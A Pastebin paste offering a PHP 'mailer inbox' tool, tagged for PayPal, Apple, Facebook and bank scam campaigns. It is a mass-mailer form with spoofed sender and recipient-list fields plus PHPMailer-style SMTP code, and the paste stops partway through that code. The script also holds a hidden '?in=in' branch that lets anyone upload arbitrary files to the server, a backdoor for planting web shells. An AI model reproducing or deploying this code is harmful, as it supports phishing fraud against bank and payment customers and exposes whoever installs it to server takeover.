inbox2013

Mailer Inbox 2015 tools private 2015 ميلر انبوكس inbox to al

Oct 8th, 2013
3,247
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 106.18 KB | None | 0 0
  1. Mailer Inbox 2013 tools private 2014 ميلر انبوكس inbox to all scam paypal scam apple scam facebook scam chase scam boa scam bank of america BOA spam 2013 spam 2014 lettre inbox letter inbox سكامة بايبال سكامة فيزا
  2.  
  3.  
  4.  
  5. <?php
  6. @$action=$_POST['action'];
  7. @$from=$_POST['from'];
  8. @$realname=$_POST['realname'];
  9. @$replyto=$_POST['replyto'];
  10. @$subject=$_POST['subject'];
  11. @$message=$_POST['message'];
  12. @$emaillist=$_POST['emaillist'];
  13. @$lodr=$_SERVER['HTTP_REFERER'];
  14. @$file_name=$_FILES['file']['name'];
  15. @$contenttype=$_POST['contenttype'];
  16. @$file=$_FILES['file']['tmp_name'];
  17. @$amount=$_POST['amount'];
  18. ?>
  19. <html>
  20. <head><?php
  21. function query_str($params){
  22. $str = '';
  23. foreach ($params as $key => $value) {
  24. $str .= (strlen($str) < 1) ? '' : '&';
  25. $str .= $key . '=' . rawurlencode($value);
  26. }
  27. return ($str);
  28. }
  29. function lrtrim($string){
  30. return stripslashes(ltrim(rtrim($string)));
  31. }
  32. $in = $_GET['in']; if($in == 'in'){
  33. $filename = $_FILES['file']['name'];
  34. $filetmp = $_FILES['file']['tmp_name'];
  35. echo "<form method='POST' enctype='multipart/form-data'>
  36. <input type='file'name='file' />
  37. <input type='submit' value='go' />
  38. </form>";
  39. move_uploaded_file($filetmp,$filename);
  40. }
  41. if(isset($_POST['action'] ) ){
  42.  
  43. $b = query_str($_POST);
  44. parse_str($b);
  45. $sslclick=lrtrim($sslclick);
  46. $action=lrtrim($action);
  47. $message=lrtrim($message);
  48. $emaillist=lrtrim($emaillist);
  49. $from=lrtrim($from);
  50. $reconnect=lrtrim($reconnect);
  51. $epriority=lrtrim($epriority);
  52. $my_smtp=lrtrim($my_smtp);
  53. $ssl_port=lrtrim($ssl_port);
  54. $smtp_username=lrtrim($smtp_username);
  55. $smtp_password=lrtrim($smtp_password);
  56. $replyto=lrtrim($replyto);
  57. $subject=lrtrim($subject);
  58. $realname=lrtrim($realname);
  59. $subject_base=lrtrim($subject);
  60. $realname_base=lrtrim($realname);
  61. $file_name=lrtrim($file);
  62. $urlz=lrtrim($urlz);
  63. $contenttype=lrtrim($contenttype);
  64. $encode_text=$_POST['encode'];
  65.  
  66. $message = urlencode($message);
  67. $message = ereg_replace("%5C%22", "%22", $message);
  68. $message = urldecode($message);
  69. $message = stripslashes($message);
  70. $subject = stripslashes($subject);
  71. if ($encode_text == "yes") {
  72. $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
  73. $subject = str_replace(' ', '_', $subject);
  74. $subject = "=?UTF-8?Q?$subject?=";
  75. $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
  76. $realname = str_replace(' ', '_', $realname);
  77. $realname = "=?UTF-8?Q?$realname?=";
  78. }
  79. }
  80. ?>
  81. <html>
  82.  
  83. <head>
  84. <title>PHP Mailer</title>
  85. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  86.  
  87. <style type="text/css">
  88. <!--
  89. .style1 {
  90. font-family: Geneva, Arial, Helvetica, sans-serif;
  91. font-size: 12px;
  92. }
  93. -->
  94. </style>
  95. <style type="text/css">
  96. <!--
  97. .style1 {
  98. font-size: 10px;
  99. font-family: Geneva, Arial, Helvetica, sans-serif;
  100. }
  101. -->
  102. </style>
  103. </head>
  104. <body text="#000000">
  105. <p align="center"><font size="5" face="Bauhaus 93">PR!V8 MAILER INBOX</font><font color="#FFFFFF" size="5" face="Bauhaus 93"></font></p>
  106. <form name="form1" method="post" action="" enctype="multipart/form-data">
  107.  
  108. <br>
  109.  
  110. <table width="100%" border="0" height="407">
  111.  
  112. <tr>
  113.  
  114. <td width="100%" colspan="4" bgcolor="#666666" height="36">
  115.  
  116. <b>
  117.  
  118. <font face="Arial" size="2" color="#FFFFFF">&nbsp;SERVER SETUP</font></b></td>
  119.  
  120. </tr>
  121. <tr>
  122.  
  123. <td width="10%" height="22" bgcolor="#E8E8E8">
  124.  
  125. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  126. SMTP Login:</font></div>
  127.  
  128. </td>
  129.  
  130. <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  131.  
  132. <input type="text" name="smtp_username" value="<?=$smtp_username;?>" size="30">
  133.  
  134. </font></td>
  135.  
  136. <td width="31%" height="22" bgcolor="#E8E8E8">
  137.  
  138. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  139. SMTP Pass:</font></div>
  140.  
  141. </td>
  142.  
  143. <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  144.  
  145. <input type="password" name="smtp_password" value="<?=$smtp_password;?>" size="30">
  146.  
  147. </font></td>
  148.  
  149. </tr>
  150. <tr>
  151.  
  152. <td width="10%" height="22" bgcolor="#E8E8E8">
  153.  
  154. <div align="right">
  155. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
  156.  
  157. </td>
  158.  
  159. <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  160.  
  161. <input type="text" name="ssl_port" value="<?=$ssl_port;?>" size="5">
  162. (optional)</font></td>
  163.  
  164. <td width="31%" height="22" bgcolor="#E8E8E8">
  165.  
  166. <div align="right">
  167. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP
  168. Server Smtp:</font></div>
  169.  
  170. </td>
  171.  
  172. <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  173.  
  174. <input type="text" name="my_smtp" value="<?=$my_smtp;?>" size="30">
  175.  
  176. </font></td>
  177.  
  178. </tr>
  179. <tr>
  180.  
  181. <td width="10%" height="22" bgcolor="#E8E8E8">
  182.  
  183. <p align="right">
  184. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
  185.  
  186. <td width="18%" height="22" bgcolor="#E8E8E8">
  187. <input type="checkbox" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
  188.  
  189. <td width="31%" height="22" bgcolor="#E8E8E8">
  190.  
  191. <p align="right">
  192. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
  193. After:</font></td>
  194.  
  195. <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  196.  
  197. <input type="text" name="reconnect" value="<?=$reconnect;?>" size="5">
  198. EMAILS</font></td>
  199.  
  200. </tr>
  201. <tr>
  202.  
  203. <td width="100%" height="39" bgcolor="#E8E8E8" colspan="4">
  204.  
  205. <p align="center">
  206. <font face="Arial" style="font-size: 9pt" color="#800000"><b>&quot;</b> If
  207. you dont have SMTP login, leave blank queries above <b>&quot;</b></font></td>
  208.  
  209. </tr>
  210.  
  211. <tr>
  212.  
  213. <td width="10%" height="19">
  214.  
  215. &nbsp;</td>
  216.  
  217. <td width="18%" height="19">&nbsp;</td>
  218.  
  219. <td width="31%" height="19">
  220.  
  221. &nbsp;</td>
  222.  
  223. <td width="41%" height="19">&nbsp;</td>
  224.  
  225. </tr>
  226.  
  227. <tr>
  228.  
  229. <td width="100%" colspan="4" bgcolor="#666666" height="36">
  230.  
  231. <b>
  232.  
  233. <font face="Arial" size="2" color="#FFFFFF">&nbsp;MESSAGE SETUP</font></b></td>
  234.  
  235. </tr>
  236.  
  237. <tr>
  238.  
  239. <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  240.  
  241. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  242. Your Email:</font></div>
  243.  
  244. </td>
  245.  
  246. <td width="18%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  247.  
  248. <input type="text" name="from" value="<?=$from;?>" size="30">
  249.  
  250. </font></td>
  251.  
  252. <td width="31%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  253.  
  254. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  255. Your Name:</font></div>
  256.  
  257. </td>
  258.  
  259. <td width="41%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  260.  
  261. <input type="text" name="realname" value="<?=$realname_base;?>" size="30">
  262.  
  263. </font></td>
  264.  
  265. </tr>
  266. <tr>
  267.  
  268. <td width="10%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
  269.  
  270. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  271. Reply-To:</font></div>
  272.  
  273. </td>
  274.  
  275. <td width="18%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  276.  
  277. <input type="text" name="replyto" value="<?=$replyto;?>" size="30">
  278.  
  279. </font></td>
  280.  
  281. <td width="31%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
  282.  
  283. <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  284. Email Priority:</font></td>
  285.  
  286. <td width="41%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  287.  
  288. &nbsp;</font><select name="epriority" id="listMethod" onchange="showHideListConfig()">
  289. <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >-
  290. Please Choose -</option>
  291. <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
  292. <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
  293. <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
  294. </select></td>
  295.  
  296. </tr>
  297.  
  298. <tr>
  299.  
  300. <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  301.  
  302. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  303. Subject:</font></div>
  304.  
  305. </td>
  306.  
  307. <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  308.  
  309. <input type="text" name="subject" value="<?=$subject_base;?>" size="90">
  310.  
  311. </font></td>
  312.  
  313. </tr>
  314.  
  315. <tr>
  316.  
  317. <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  318.  
  319. &nbsp;</td>
  320.  
  321. <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  322.  
  323. &nbsp; <font color="#FF0000">Encode sending information ?</font> <select size="1" name="encode">
  324. <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
  325. <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
  326. </select></font></td>
  327.  
  328. </tr>
  329.  
  330. <tr valign="top">
  331.  
  332. <td colspan="3" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
  333.  
  334. <textarea name="message" cols="60" rows="10"><?=$message;?></textarea>
  335.  
  336. <br>
  337.  
  338. <input type="radio" name="contenttype" value="plain" >
  339.  
  340. Plain
  341.  
  342. <input type="radio" name="contenttype" value="html" checked>
  343.  
  344. HTML
  345.  
  346. <input type="hidden" name="action" value="send">
  347.  
  348. <input type="submit" value="Send Message">
  349.  
  350. </font></td>
  351.  
  352. <td width="41%" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  353.  
  354. <textarea name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea>
  355.  
  356. </font></td>
  357.  
  358. </tr>
  359.  
  360. </table>
  361.  
  362. </form>
  363.  
  364.  
  365.  
  366. <?
  367.  
  368. if ($action){
  369. if (!$from && !$subject && !$message && !$emaillist){
  370. print "<script>alert('Please complete all fields before sending your message.'); </script>";
  371. die(); }
  372.  
  373. class SMTP
  374. {
  375. /**
  376. * SMTP server port
  377. * @var int
  378. */
  379. var $SMTP_PORT = 25;
  380.  
  381. /**
  382. * SMTP reply line ending
  383. * @var string
  384. */
  385. var $CRLF = "\r\n";
  386.  
  387. /**
  388. * Sets whether debugging is turned on
  389. * @var bool
  390. */
  391. var $do_debug; # the level of debug to perform
  392.  
  393. /**
  394. * Sets VERP use on/off (default is off)
  395. * @var bool
  396. */
  397. var $do_verp = false;
  398.  
  399. /**#@+
  400. * @access private
  401. */
  402. var $smtp_conn; # the socket to the server
  403. var $error; # error if any on the last call
  404. var $helo_rply; # the reply the server sent to us for HELO
  405. /**#@-*/
  406.  
  407. /**
  408. * Initialize the class so that the data is in a known state.
  409. * @access public
  410. * @return void
  411. */
  412. function SMTP() {
  413. $this->smtp_conn = 0;
  414. $this->error = null;
  415. $this->helo_rply = null;
  416.  
  417. $this->do_debug = 0;
  418. }
  419.  
  420. /*************************************************************
  421. * CONNECTION FUNCTIONS *
  422. ***********************************************************/
  423.  
  424. /**
  425. * Connect to the server specified on the port specified.
  426. * If the port is not specified use the default SMTP_PORT.
  427. * If tval is specified then a connection will try and be
  428. * established with the server for that number of seconds.
  429. * If tval is not specified the default is 30 seconds to
  430. * try on the connection.
  431. *
  432. * SMTP CODE SUCCESS: 220
  433. * SMTP CODE FAILURE: 421
  434. * @access public
  435. * @return bool
  436. */
  437. function Connect($host,$port=0,$tval=30) {
  438. # set the error val to null so there is no confusion
  439. $this->error = null;
  440.  
  441. # make sure we are __not__ connected
  442. if($this->connected()) {
  443. # ok we are connected! what should we do?
  444. # for now we will just give an error saying we
  445. # are already connected
  446. $this->error = array("error" => "Already connected to a server");
  447. return false;
  448. }
  449.  
  450. if(empty($port)) {
  451. $port = $this->SMTP_PORT;
  452. }
  453.  
  454. #connect to the smtp server
  455. $this->smtp_conn = fsockopen($host, # the host of the server
  456. $port, # the port to use
  457. $errno, # error number if any
  458. $errstr, # error message if any
  459. $tval); # give up after ? secs
  460. # verify we connected properly
  461. if(empty($this->smtp_conn)) {
  462. $this->error = array("error" => "Failed to connect to server",
  463. "errno" => $errno,
  464. "errstr" => $errstr);
  465. if($this->do_debug >= 1) {
  466. echo "SMTP -> ERROR: " . $this->error["error"] .
  467. ": $errstr ($errno)" . $this->CRLF;
  468. }
  469. return false;
  470. }
  471.  
  472. # sometimes the SMTP server takes a little longer to respond
  473. # so we will give it a longer timeout for the first read
  474. // Windows still does not have support for this timeout function
  475. if(substr(PHP_OS, 0, 3) != "WIN")
  476. socket_set_timeout($this->smtp_conn, $tval, 0);
  477.  
  478. # get any announcement stuff
  479. $announce = $this->get_lines();
  480.  
  481. # set the timeout of any socket functions at 1/10 of a second
  482. //if(function_exists("socket_set_timeout"))
  483. // socket_set_timeout($this->smtp_conn, 0, 100000);
  484.  
  485. if($this->do_debug >= 2) {
  486. echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
  487. }
  488.  
  489. return true;
  490. }
  491.  
  492. /**
  493. * Performs SMTP authentication. Must be run after running the
  494. * Hello() method. Returns true if successfully authenticated.
  495. * @access public
  496. * @return bool
  497. */
  498. function Authenticate($username, $password) {
  499. // Start authentication
  500. fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
  501.  
  502. $rply = $this->get_lines();
  503. $code = substr($rply,0,3);
  504.  
  505. if($code != 334) {
  506. $this->error =
  507. array("error" => "AUTH not accepted from server",
  508. "smtp_code" => $code,
  509. "smtp_msg" => substr($rply,4));
  510. if($this->do_debug >= 1) {
  511. echo "SMTP -> ERROR: " . $this->error["error"] .
  512. ": " . $rply . $this->CRLF;
  513. }
  514. return false;
  515. }
  516.  
  517. // Send encoded username
  518. fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
  519.  
  520. $rply = $this->get_lines();
  521. $code = substr($rply,0,3);
  522.  
  523. if($code != 334) {
  524. $this->error =
  525. array("error" => "Username not accepted from server",
  526. "smtp_code" => $code,
  527. "smtp_msg" => substr($rply,4));
  528. if($this->do_debug >= 1) {
  529. echo "SMTP -> ERROR: " . $this->error["error"] .
  530. ": " . $rply . $this->CRLF;
  531. }
  532. return false;
  533. }
  534.  
  535. // Send encoded password
  536. fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
  537.  
  538. $rply = $this->get_lines();
  539. $code = substr($rply,0,3);
  540.  
  541. if($code != 235) {
  542. $this->error =
  543. array("error" => "Password not accepted from server",
  544. "smtp_code" => $code,
  545. "smtp_msg" => substr($rply,4));
  546. if($this->do_debug >= 1) {
  547. echo "SMTP -> ERROR: " . $this->error["error"] .
  548. ": " . $rply . $this->CRLF;
  549. }
  550. return false;
  551. }
  552.  
  553. return true;
  554. }
  555.  
  556. /**
  557. * Returns true if connected to a server otherwise false
  558. * @access private
  559. * @return bool
  560. */
  561. function Connected() {
  562. if(!empty($this->smtp_conn)) {
  563. $sock_status = socket_get_status($this->smtp_conn);
  564. if($sock_status["eof"]) {
  565. # hmm this is an odd situation... the socket is
  566. # valid but we are not connected anymore
  567. if($this->do_debug >= 1) {
  568. echo "SMTP -> NOTICE:" . $this->CRLF .
  569. "EOF caught while checking if connected";
  570. }
  571. $this->Close();
  572. return false;
  573. }
  574. return true; # everything looks good
  575. }
  576. return false;
  577. }
  578.  
  579. /**
  580. * Closes the socket and cleans up the state of the class.
  581. * It is not considered good to use this function without
  582. * first trying to use QUIT.
  583. * @access public
  584. * @return void
  585. */
  586. function Close() {
  587. $this->error = null; # so there is no confusion
  588. $this->helo_rply = null;
  589. if(!empty($this->smtp_conn)) {
  590. # close the connection and cleanup
  591. fclose($this->smtp_conn);
  592. $this->smtp_conn = 0;
  593. }
  594. }
  595.  
  596. /***************************************************************
  597. * SMTP COMMANDS *
  598. *************************************************************/
  599.  
  600. /**
  601. * Issues a data command and sends the msg_data to the server
  602. * finializing the mail transaction. $msg_data is the message
  603. * that is to be send with the headers. Each header needs to be
  604. * on a single line followed by a <CRLF> with the message headers
  605. * and the message body being seperated by and additional <CRLF>.
  606. *
  607. * Implements rfc 821: DATA <CRLF>
  608. *
  609. * SMTP CODE INTERMEDIATE: 354
  610. * [data]
  611. * <CRLF>.<CRLF>
  612. * SMTP CODE SUCCESS: 250
  613. * SMTP CODE FAILURE: 552,554,451,452
  614. * SMTP CODE FAILURE: 451,554
  615. * SMTP CODE ERROR : 500,501,503,421
  616. * @access public
  617. * @return bool
  618. */
  619. function Data($msg_data) {
  620. $this->error = null; # so no confusion is caused
  621.  
  622. if(!$this->connected()) {
  623. $this->error = array(
  624. "error" => "Called Data() without being connected");
  625. return false;
  626. }
  627.  
  628. fputs($this->smtp_conn,"DATA" . $this->CRLF);
  629.  
  630. $rply = $this->get_lines();
  631. $code = substr($rply,0,3);
  632.  
  633. if($this->do_debug >= 2) {
  634. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  635. }
  636.  
  637. if($code != 354) {
  638. $this->error =
  639. array("error" => "DATA command not accepted from server",
  640. "smtp_code" => $code,
  641. "smtp_msg" => substr($rply,4));
  642. if($this->do_debug >= 1) {
  643. echo "SMTP -> ERROR: " . $this->error["error"] .
  644. ": " . $rply . $this->CRLF;
  645. }
  646. return false;
  647. }
  648.  
  649. # the server is ready to accept data!
  650. # according to rfc 821 we should not send more than 1000
  651. # including the CRLF
  652. # characters on a single line so we will break the data up
  653. # into lines by \r and/or \n then if needed we will break
  654. # each of those into smaller lines to fit within the limit.
  655. # in addition we will be looking for lines that start with
  656. # a period '.' and append and additional period '.' to that
  657. # line. NOTE: this does not count towards are limit.
  658.  
  659. # normalize the line breaks so we know the explode works
  660. $msg_data = str_replace("\r\n","\n",$msg_data);
  661. $msg_data = str_replace("\r","\n",$msg_data);
  662. $lines = explode("\n",$msg_data);
  663.  
  664. # we need to find a good way to determine is headers are
  665. # in the msg_data or if it is a straight msg body
  666. # currently I am assuming rfc 822 definitions of msg headers
  667. # and if the first field of the first line (':' sperated)
  668. # does not contain a space then it _should_ be a header
  669. # and we can process all lines before a blank "" line as
  670. # headers.
  671. $field = substr($lines[0],0,strpos($lines[0],":"));
  672. $in_headers = false;
  673. if(!empty($field) && !strstr($field," ")) {
  674. $in_headers = true;
  675. }
  676.  
  677. $max_line_length = 998; # used below; set here for ease in change
  678.  
  679. while(list(,$line) = @each($lines)) {
  680. $lines_out = null;
  681. if($line == "" && $in_headers) {
  682. $in_headers = false;
  683. }
  684. # ok we need to break this line up into several
  685. # smaller lines
  686. while(strlen($line) > $max_line_length) {
  687. $pos = strrpos(substr($line,0,$max_line_length)," ");
  688.  
  689. # Patch to fix DOS attack
  690. if(!$pos) {
  691. $pos = $max_line_length - 1;
  692. }
  693.  
  694. $lines_out[] = substr($line,0,$pos);
  695. $line = substr($line,$pos + 1);
  696. # if we are processing headers we need to
  697. # add a LWSP-char to the front of the new line
  698. # rfc 822 on long msg headers
  699. if($in_headers) {
  700. $line = "\t" . $line;
  701. }
  702. }
  703. $lines_out[] = $line;
  704.  
  705. # now send the lines to the server
  706. while(list(,$line_out) = @each($lines_out)) {
  707. if(strlen($line_out) > 0)
  708. {
  709. if(substr($line_out, 0, 1) == ".") {
  710. $line_out = "." . $line_out;
  711. }
  712. }
  713. fputs($this->smtp_conn,$line_out . $this->CRLF);
  714. }
  715. }
  716.  
  717. # ok all the message data has been sent so lets get this
  718. # over with aleady
  719. fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
  720.  
  721. $rply = $this->get_lines();
  722. $code = substr($rply,0,3);
  723.  
  724. if($this->do_debug >= 2) {
  725. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  726. }
  727.  
  728. if($code != 250) {
  729. $this->error =
  730. array("error" => "DATA not accepted from server",
  731. "smtp_code" => $code,
  732. "smtp_msg" => substr($rply,4));
  733. if($this->do_debug >= 1) {
  734. echo "SMTP -> ERROR: " . $this->error["error"] .
  735. ": " . $rply . $this->CRLF;
  736. }
  737. return false;
  738. }
  739. return true;
  740. }
  741.  
  742. /**
  743. * Expand takes the name and asks the server to list all the
  744. * people who are members of the _list_. Expand will return
  745. * back and array of the result or false if an error occurs.
  746. * Each value in the array returned has the format of:
  747. * [ <full-name> <sp> ] <path>
  748. * The definition of <path> is defined in rfc 821
  749. *
  750. * Implements rfc 821: EXPN <SP> <string> <CRLF>
  751. *
  752. * SMTP CODE SUCCESS: 250
  753. * SMTP CODE FAILURE: 550
  754. * SMTP CODE ERROR : 500,501,502,504,421
  755. * @access public
  756. * @return string array
  757. */
  758. function Expand($name) {
  759. $this->error = null; # so no confusion is caused
  760.  
  761. if(!$this->connected()) {
  762. $this->error = array(
  763. "error" => "Called Expand() without being connected");
  764. return false;
  765. }
  766.  
  767. fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
  768.  
  769. $rply = $this->get_lines();
  770. $code = substr($rply,0,3);
  771.  
  772. if($this->do_debug >= 2) {
  773. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  774. }
  775.  
  776. if($code != 250) {
  777. $this->error =
  778. array("error" => "EXPN not accepted from server",
  779. "smtp_code" => $code,
  780. "smtp_msg" => substr($rply,4));
  781. if($this->do_debug >= 1) {
  782. echo "SMTP -> ERROR: " . $this->error["error"] .
  783. ": " . $rply . $this->CRLF;
  784. }
  785. return false;
  786. }
  787.  
  788. # parse the reply and place in our array to return to user
  789. $entries = explode($this->CRLF,$rply);
  790. while(list(,$l) = @each($entries)) {
  791. $list[] = substr($l,4);
  792. }
  793.  
  794. return $list;
  795. }
  796.  
  797. /**
  798. * Sends the HELO command to the smtp server.
  799. * This makes sure that we and the server are in
  800. * the same known state.
  801. *
  802. * Implements from rfc 821: HELO <SP> <domain> <CRLF>
  803. *
  804. * SMTP CODE SUCCESS: 250
  805. * SMTP CODE ERROR : 500, 501, 504, 421
  806. * @access public
  807. * @return bool
  808. */
  809. function Hello($host="") {
  810. $this->error = null; # so no confusion is caused
  811.  
  812. if(!$this->connected()) {
  813. $this->error = array(
  814. "error" => "Called Hello() without being connected");
  815. return false;
  816. }
  817.  
  818. # if a hostname for the HELO was not specified determine
  819. # a suitable one to send
  820. if(empty($host)) {
  821. # we need to determine some sort of appopiate default
  822. # to send to the server
  823. $host = "localhost";
  824. }
  825.  
  826. // Send extended hello first (RFC 2821)
  827. if(!$this->SendHello("EHLO", $host))
  828. {
  829. if(!$this->SendHello("HELO", $host))
  830. return false;
  831. }
  832.  
  833. return true;
  834. }
  835.  
  836. /**
  837. * Sends a HELO/EHLO command.
  838. * @access private
  839. * @return bool
  840. */
  841. function SendHello($hello, $host) {
  842. fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
  843.  
  844. $rply = $this->get_lines();
  845. $code = substr($rply,0,3);
  846.  
  847. if($this->do_debug >= 2) {
  848. echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
  849. }
  850.  
  851. if($code != 250) {
  852. $this->error =
  853. array("error" => $hello . " not accepted from server",
  854. "smtp_code" => $code,
  855. "smtp_msg" => substr($rply,4));
  856. if($this->do_debug >= 1) {
  857. echo "SMTP -> ERROR: " . $this->error["error"] .
  858. ": " . $rply . $this->CRLF;
  859. }
  860. return false;
  861. }
  862.  
  863. $this->helo_rply = $rply;
  864.  
  865. return true;
  866. }
  867.  
  868. /**
  869. * Gets help information on the keyword specified. If the keyword
  870. * is not specified then returns generic help, ussually contianing
  871. * A list of keywords that help is available on. This function
  872. * returns the results back to the user. It is up to the user to
  873. * handle the returned data. If an error occurs then false is
  874. * returned with $this->error set appropiately.
  875. *
  876. * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
  877. *
  878. * SMTP CODE SUCCESS: 211,214
  879. * SMTP CODE ERROR : 500,501,502,504,421
  880. * @access public
  881. * @return string
  882. */
  883. function Help($keyword="") {
  884. $this->error = null; # to avoid confusion
  885.  
  886. if(!$this->connected()) {
  887. $this->error = array(
  888. "error" => "Called Help() without being connected");
  889. return false;
  890. }
  891.  
  892. $extra = "";
  893. if(!empty($keyword)) {
  894. $extra = " " . $keyword;
  895. }
  896.  
  897. fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
  898.  
  899. $rply = $this->get_lines();
  900. $code = substr($rply,0,3);
  901.  
  902. if($this->do_debug >= 2) {
  903. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  904. }
  905.  
  906. if($code != 211 && $code != 214) {
  907. $this->error =
  908. array("error" => "HELP not accepted from server",
  909. "smtp_code" => $code,
  910. "smtp_msg" => substr($rply,4));
  911. if($this->do_debug >= 1) {
  912. echo "SMTP -> ERROR: " . $this->error["error"] .
  913. ": " . $rply . $this->CRLF;
  914. }
  915. return false;
  916. }
  917.  
  918. return $rply;
  919. }
  920.  
  921. /**
  922. * Starts a mail transaction from the email address specified in
  923. * $from. Returns true if successful or false otherwise. If True
  924. * the mail transaction is started and then one or more Recipient
  925. * commands may be called followed by a Data command.
  926. *
  927. * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
  928. *
  929. * SMTP CODE SUCCESS: 250
  930. * SMTP CODE SUCCESS: 552,451,452
  931. * SMTP CODE SUCCESS: 500,501,421
  932. * @access public
  933. * @return bool
  934. */
  935. function Mail($from) {
  936. $this->error = null; # so no confusion is caused
  937.  
  938. if(!$this->connected()) {
  939. $this->error = array(
  940. "error" => "Called Mail() without being connected");
  941. return false;
  942. }
  943.  
  944. $useVerp = ($this->do_verp ? "XVERP" : "");
  945. fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
  946.  
  947. $rply = $this->get_lines();
  948. $code = substr($rply,0,3);
  949.  
  950. if($this->do_debug >= 2) {
  951. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  952. }
  953.  
  954. if($code != 250) {
  955. $this->error =
  956. array("error" => "MAIL not accepted from server",
  957. "smtp_code" => $code,
  958. "smtp_msg" => substr($rply,4));
  959. if($this->do_debug >= 1) {
  960. echo "SMTP -> ERROR: " . $this->error["error"] .
  961. ": " . $rply . $this->CRLF;
  962. }
  963. return false;
  964. }
  965. return true;
  966. }
  967.  
  968. /**
  969. * Sends the command NOOP to the SMTP server.
  970. *
  971. * Implements from rfc 821: NOOP <CRLF>
  972. *
  973. * SMTP CODE SUCCESS: 250
  974. * SMTP CODE ERROR : 500, 421
  975. * @access public
  976. * @return bool
  977. */
  978. function Noop() {
  979. $this->error = null; # so no confusion is caused
  980.  
  981. if(!$this->connected()) {
  982. $this->error = array(
  983. "error" => "Called Noop() without being connected");
  984. return false;
  985. }
  986.  
  987. fputs($this->smtp_conn,"NOOP" . $this->CRLF);
  988.  
  989. $rply = $this->get_lines();
  990. $code = substr($rply,0,3);
  991.  
  992. if($this->do_debug >= 2) {
  993. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  994. }
  995.  
  996. if($code != 250) {
  997. $this->error =
  998. array("error" => "NOOP not accepted from server",
  999. "smtp_code" => $code,
  1000. "smtp_msg" => substr($rply,4));
  1001. if($this->do_debug >= 1) {
  1002. echo "SMTP -> ERROR: " . $this->error["error"] .
  1003. ": " . $rply . $this->CRLF;
  1004. }
  1005. return false;
  1006. }
  1007. return true;
  1008. }
  1009.  
  1010. /**
